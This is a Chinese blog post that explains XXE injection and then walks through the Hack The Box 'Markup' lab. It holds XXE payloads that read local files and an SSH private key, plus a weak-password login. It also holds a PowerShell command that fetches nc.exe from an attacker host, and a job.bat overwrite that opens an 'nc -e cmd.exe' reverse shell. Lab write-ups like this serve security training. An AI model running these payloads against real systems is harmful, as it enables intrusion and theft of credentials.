首页 > 其他分享 >Hack The Box系列——【Markup】XML外部实体注入(XXE)

Hack The Box系列——【Markup】XML外部实体注入(XXE)

时间:2023-01-16 21:57:16浏览次数:53  
标签:Box XML exe 外部 Markup 实体 nc 攻击

一、XML概述

  1. 可扩展标记语言(英語:Extensible Markup Language,简称:XML)是一种标记语言。XML是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。其基本格式如下
    <?xml version="1.0" encoding="UTF-8"?>
      <信息>
        <收件人>a</收件人>
        <发件人>b</发件人>
        <主题>问候</主题>
        <內容>你好 </內容>
      </信息>
  2. 上面的代码中的第一行就是XML声明,<?xml version="1.0"?>。这一行代码会告诉解析器或浏览器,这个文件应该按照XML规则进行解析。
  3. XML文档如果以XML declaration开始,则表述了文档的一些信息。如<?xml version="1.0" encoding="UTF-8"?>
  4. XML标记:一个tag属于标记结构,以<开头,以>结尾。Tag名字是大小写敏感,不能包括任何字符 !"#$%&'()*+,/;<=>?@[\]^`{|}~, 也不能有空格符, 不能以"-"或"."或数字开始
  5. XML元素:元素是文档逻辑组成,如<aaa></aaa>

二、XML外部实体注入概述

  1. XML外部实体注入是一种针对解析XML格式应用程序的攻击类型之一。此类攻击发生在配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描(解析器所在域)和其他系统影响。
  2. XML 1.0标准定义了XML文档结构,同时定义了实体的概念,即某种类型的存储单元。外部一般解析实体或外部参数解析实体通常简称为外部实体,攻击者可声明特定系统标识符(英语:System identifier)来访问服务器本地或远程内容。XML处理器假设系统标识符为可访问的统一资源标志符(URI),然后将同名的外部实体以系统标识符所指定的资源内容解除引用。若系统标识符被修改,则XML处理器可能会泄露应用程序通常无法访问的秘密信息。类似的攻击矢量可能会利用外部文档类型定义(DTD)、外部样式表和外部Schema等等,这些同样会导致类似的外部资源包含攻击。

  3.  此类攻击利用系统标识符中的文件、Schema及相对路径来泄露本地文件(如用户数据等)。由于攻击过程发生在处理XML文档的应用程序中,攻击者可滥用此受信的应用程序对其他内部系统进行攻击,也可能通过http(s)请求泄露其他内部内容,亦可能对其他未受保护的内部服务进行跨站请求伪造攻击。在部分情形下,攻击者可通过解引用恶意URI的方式对存在内存损坏(英语:Memory corruption)问题的XML处理库进行攻击,导致任意代码执行(以应用程序所使用的账户)。其他攻击针对持续返回数据的本地资源进行,可能会导致应用程序使用过多未释放的线程或行程。

 三、XML外部实体注入利用

  1. 文件读取
     <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [  
       <!ELEMENT foo ANY >
       <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  2. 代码执行。当PHP载入“expect”模块时,攻击者可使用修改过的载荷来执行远程代码
    <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "expect://id" >]>
         <creds>
            <user>&xxe;</user>
            <pass>mypass</pass>
         </creds>

四、Hack The Box案例——Markup

(一)信息收集

  1. 端口扫描,开放了22、80、443端口,80、443端口开放有web服务,中间件为Apache 2.4.41,编程语言为PHP 7.2.28,OpenSSL 1.1.1c,服务器系统为Windows

  2. 打开网站,直接就是一个登录页面

  3. 尝试一下常见的弱口令,使用admin:password登录成功

  4. 在Order栏中,发现一个表单

  5. 看一看网页源代码,在注释中发现有用信息,像是一个用户名

  6. BurpSuite抓包,熟悉的xml,有漏洞的话可能存在xxe注入,即xml外部实体注入

(二)getshell

  1. 修改数据包body为以下格式,重放数据包

    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
    <order>
    <quantity>
    2
    </quantity>
    <item>
    &test;
    </item>
    <address>
    17th Estate,CA
    </address>
    </order>

  2. 服务器正常回显,爆出了几个字段,验证确实存在xxe注入,利用xxe尝试读取该用户的ssh密钥,成功读取到密钥文件

    <?xml version="1.0"?>
    <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
    <order>
    <quantity>
    2
    </quantity>
    <item>
    &test;
    </item>
    <address>
    17th Estate,CA
    </address>
    </order>

  3. 将id_rsa保存到kali,然后通过该rsa对服务器进行ssh连接,成功获取shell

  4. 在Desktop找到user.txt

(三)权限提升

  1. 查看当前用户权限

    whoami /priv

  2. cd到C盘根目录下,查看有什么文件夹,发现有一个Log-Management文件夹,该文件夹中有一个job.bat批处理脚本

  3. type查看job.bat文件内容,该脚本以管理员权限调用了一个叫做wevtutil.exe的程序,看起来像是清除日志的,我们可以尝试利用这个进行提权

  4. 用icacls命令查看该批处理文件的权限,该脚本拥有system和Administrator权限

  5. 要通过该脚本获取反向shell,只需要通过netcat在批量处理中创建有效负载文件即可,在kali上下载windows的netcat二进制文件,然后开启一个简单的web服务,在目标主机上通过powershell命令将nc.exe下载到传到目标主机上

    Powershell -c "IWR -useBasicParsing http://10.10.16.9:8000/nc.exe -o
     nc.exe"

  6. 然后在目标主机上通过netcat利用job.bat创建反向shell到kali上,kali开启nc监听

    echo C:\Log-Management\nc.exe -e cmd.exe 10.10.16.9 4444 > C:\Log-Management\job.bat
    sudo nc lvnp 4444

  7. 成功获取到管理员权限,在管理员桌面找到root.txt

    TRANSLATE with x English
Arabic Hebrew Polish
Bulgarian Hindi Portuguese
Catalan Hmong Daw Romanian
Chinese Simplified Hungarian Russian
Chinese Traditional Indonesian Slovak
Czech Italian Slovenian
Danish Japanese Spanish
Dutch Klingon Swedish
English Korean Thai
Estonian Latvian Turkish
Finnish Lithuanian Ukrainian
French Malay Urdu
German Maltese Vietnamese
Greek Norwegian Welsh
Haitian Creole Persian  
  TRANSLATE with COPY THE URL BELOW Back EMBED THE SNIPPET BELOW IN YOUR SITE Enable collaborative features and customize widget: Bing Webmaster Portal Back     此页面的语言为中文(简体)   翻译为        
  • 中文(简体)
  • 中文(繁体)
  • 丹麦语
  • 乌克兰语
  • 乌尔都语
  • 亚美尼亚语
  • 俄语
  • 保加利亚语
  • 克罗地亚语
  • 冰岛语
  • 加泰罗尼亚语
  • 匈牙利语
  • 卡纳达语
  • 印地语
  • 印尼语
  • 古吉拉特语
  • 哈萨克语
  • 土耳其语
  • 威尔士语
  • 孟加拉语
  • 尼泊尔语
  • 布尔语(南非荷兰语)
  • 希伯来语
  • 希腊语
  • 库尔德语
  • 德语
  • 意大利语
  • 拉脱维亚语
  • 挪威语
  • 捷克语
  • 斯洛伐克语
  • 斯洛文尼亚语
  • 旁遮普语
  • 日语
  • 普什图语
  • 毛利语
  • 法语
  • 波兰语
  • 波斯语
  • 泰卢固语
  • 泰米尔语
  • 泰语
  • 海地克里奥尔语
  • 爱沙尼亚语
  • 瑞典语
  • 立陶宛语
  • 缅甸语
  • 罗马尼亚语
  • 老挝语
  • 芬兰语
  • 英语
  • 荷兰语
  • 萨摩亚语
  • 葡萄牙语
  • 西班牙语
  • 越南语
  • 阿塞拜疆语
  • 阿姆哈拉语
  • 阿尔巴尼亚语
  • 阿拉伯语
  • 韩语
  • 马尔加什语
  • 马拉地语
  • 马拉雅拉姆语
  • 马来语
  • 马耳他语
  • 高棉语
 

标签:Box,XML,exe,外部,Markup,实体,nc,攻击
From: https://www.cnblogs.com/SecurityHacker/p/17056336.html

相关文章

  • 94款超级漂亮的box-shadow样式 复制即用
    样式如图,代码已在结尾,按照序号复制粘贴便可直接用了:代码:box-shadow#0csscode====>box-shadow:rgba(149,157,165,0.2)0px8px24px;box-shadow#1csscode====>......
  • 【跨域报错解决方案】Access to XMLHttpRequest at ‘http://xxx.com/xxx‘ from orig
    错误背景描述:在使用ajax调用api接口的时候:发生错误如下​​​AccesstoXMLHttpRequestat‘http://xxxx.com/xxx’fromorigin‘null’hasbeenblockedbyCORSpolic......
  • ajax请求json和xml数据及对json和xml格式数据的解析
    ajax请求json和xml数据及对json和xml格式数据的解析​​一、ajax请求json数据并解析​​​​ajax的写法:​​​​json数据解析:​​​​请求json经常出现的跨域报错:​​​​二......
  • springboot返回json和xml
    在项目中某些情况下接口需要返回的是xml数据或者json数据1、在springboot项目加入依赖jackson-dataformat-xml<dependency><groupId>com.fasterxml.jacks......
  • 15.PyQt5【基本组件】复选按钮-QCheckBox
    一、前言当文本标签前出现一个矩形框时QCheckBox对象被添加到父窗口。就像QRadioButton一样,它也是一个可选择的按钮。它的常见用途是在要求用户选择一个或多个可用选项......
  • 16.PyQt5【基本组件】下拉列表-QComboBox
    一、前言QComboBox提供一个下拉列表,其中包含可供选择的项目。只显示当前选定的项目所需的窗体上的最小屏幕空间。二、学习目标1.QComboBox常用方法2.QComboBox常用信......
  • 19.PyQt5【基本组件】消息对话框-QMessageBox
    一、前言QMessageBox是一种常用的模态对话框,用于显示一些信息性消息,并可选择要求用户通过单击其上的任何一个标准按钮来做出响应。每个标准按钮都有一个预定义的标题、一......
  • 26.PyQt5【高级组件】工具箱-QToolBox
    一、前言QToolBox控件提供了一个可进行一列选项卡操作方式,在每个选项卡内可包含不同的控件布局。QToolBox将选项卡一个一个地显示,当前项目显示在当前选项卡下方。每个选项......
  • 4.PyQt5【布局组件】水平布局-QHBoxLayout
    一、前言QLayout是Qt中布局管理器的抽象基类,通过对QLayout的继承,实现了功能各异且互补的布局管理器。布局管理器不是界面组件,而是界面组件的定位策略;任意容器类型的组件都......
  • 5.PyQt5【布局组件】垂直布局-QVBoxLayout
    一、前言本节我们介绍布局组件中的垂直布局QVBoxLayout。二、学习目标1.QVBoxLayout垂直布局应用三、知识点1.【QVBoxLayout垂直布局应用】垂直布局将多个控件在垂直......